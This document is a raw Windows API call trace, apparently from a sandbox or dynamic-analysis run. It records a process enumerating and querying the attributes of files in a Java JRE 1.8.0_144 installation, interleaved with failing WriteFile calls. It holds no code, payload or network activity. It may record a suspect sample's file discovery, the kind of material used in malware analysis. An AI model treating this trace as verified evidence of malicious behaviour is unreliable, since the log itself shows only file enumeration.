	[0244.761] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x58f)) returned 1
	[0244.772] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x56, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0244.772] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0244.772] SetEvent (hEvent=0xe4) returned 1
	[0244.772] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xab35b530, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xab35b530, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xabaa88bc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11d0000)) returned 1
	[0244.783] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0244.783] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x866c40)) returned 1
	[0244.784] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0244.784] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1
	[0244.785] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.785] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32040)) returned 1
	[0244.785] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.786] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8ba40)) returned 1
	[0244.792] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.793] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11240)) returned 1
	[0244.793] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.793] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21240)) returned 1
	[0244.794] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.794] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7c40)) returned 1
	[0244.795] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.795] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e440)) returned 1
	[0244.795] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.795] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1
	[0244.795] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.795] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13840)) returned 1
	[0244.800] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.800] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x30240)) returned 1
	[0244.800] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.800] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc040)) returned 1
	[0244.803] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.804] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5e40)) returned 1
	[0244.804] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.804] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2f040)) returned 1
	[0244.805] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.805] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13040)) returned 1
	[0244.805] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.805] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0244.806] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.806] VirtualAlloc (lpAddress=0xc000284000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000284000
	[0244.807] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\*", lpFindFileData=0xc0001df620 | out: lpFindFileData=0xc0001df620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0244.834] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.894] SetEvent (hEvent=0x124) returned 1
	[0244.894] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.properties", cAlternateFileName="ACCESS~1.PRO")) returned 1
	[0244.895] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64", cAlternateFileName="")) returned 1
	[0244.895] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1
	[0244.895] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1
	[0244.895] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa7bbd53, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa7bbd53, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2e56fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="charsets.jar", cAlternateFileName="")) returned 1
	[0244.895] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x14983, dwReserved0=0x0, dwReserved1=0x0, cFileName="classlist", cAlternateFileName="CLASSL~1")) returned 1
	[0244.895] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cmm", cAlternateFileName="")) returned 1
	[0244.895] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1
	[0244.895] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x101a, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.data", cAlternateFileName="CURREN~1.DAT")) returned 1
	[0244.895] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy", cAlternateFileName="")) returned 1
	[0244.895] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1
	[0244.895] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa11bdb26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ext", cAlternateFileName="")) returned 1
	[0244.895] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1
	[0244.895] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xeba, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontconfig.bfc", cAlternateFileName="FONTCO~1.BFC")) returned 1
	[0244.895] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2948, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontconfig.properties.src", cAlternateFileName="FONTCO~1.SRC")) returned 1
